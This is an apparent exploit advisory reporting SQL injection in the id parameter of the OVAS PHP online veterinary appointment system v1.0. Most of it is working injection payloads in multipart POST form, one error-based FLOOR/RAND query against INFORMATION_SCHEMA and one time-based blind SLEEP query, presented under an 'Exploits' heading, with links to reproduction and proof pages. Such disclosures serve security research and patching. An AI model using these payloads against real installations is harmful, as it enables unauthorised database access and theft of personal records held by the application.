## Titles: OVAS - PHP (by: oretnom23 ) v1.0 Multiple-SQLi ## Author: nu11secur1ty ## Date: 09/17/2024 ## Vendor: https://github.com/oretnom23 ## Software: https://www.sourcecodester.com/php/15119/online-veterinary-appointment-system-using-phpoop-free-source-code.html ## Reference: https://portswigger.net/web-security/sql-injection ## Description: The id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the id parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present. STATUS: HIGH- Vulnerability [+]Exploits: - SQLi Multiple: ```mysql --- Parameter: MULTIPART id ((custom) POST) Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: ------WebKitFormBoundarytjqQc9zyEbolE52F Content-Disposition: form-data; name="id" ' OR (SELECT 3497 FROM(SELECT COUNT(*),CONCAT(0x7176627671,(SELECT (ELT(3497=3497,1))),0x716a6a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# yxZw ------WebKitFormBoundarytjqQc9zyEbolE52F Content-Disposition: form-data; name="fullname" rbzEWwia ------WebKitFormBoundarytjqQc9zyEbolE52F Content-Disposition: form-data; name="contact" rbz Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: ------WebKitFormBoundarytjqQc9zyEbolE52F Content-Disposition: form-data; name="id" ' AND (SELECT 4207 FROM (SELECT(SLEEP(7)))fYjC)# qfqw ------WebKitFormBoundarytjqQc9zyEbolE52F Content-Disposition: form-data; name="fullname" rbzEWwia ------WebKitFormBoundarytjqQc9zyEbolE52F Content-Disposition: form-data; name="contact" rbz --- ``` ## Reproduce: [href](https://www.patreon.com/posts/ovas-1-0-sqli-112232033) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2024/09/ovas-php-by-oretnom23-v10-multiple-sqli.html) ## Time spent: 01:27:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>